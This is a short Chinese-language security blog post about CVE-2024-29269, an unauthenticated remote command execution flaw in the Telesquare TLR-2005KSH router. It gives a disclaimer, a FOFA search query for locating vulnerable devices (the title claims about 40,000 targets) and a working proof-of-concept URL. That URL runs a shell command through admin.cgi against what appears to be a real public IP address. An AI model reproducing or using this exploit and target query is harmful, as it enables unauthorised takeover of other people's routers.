【最新漏洞|附4W 目标】某国外路由器未授权远程代码执行漏洞 CVE-2024-29269

PART.01

免责声明

道一安全（本公众号）的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

PART.02

漏洞描述

Telesquare TLR-2005KSH 未授权远程命令执行漏洞

PART.03

fofa搜索语句

app='TELESQUARE-TLR-2005KSH'

PART.04

影响版本

Telesquare TLR-2005KSH

PART.05

漏洞复现

POC：

http://27.174.74.70:8087/cgi-bin/admin.cgi?Command=sysCommand&Cmd=ifconfig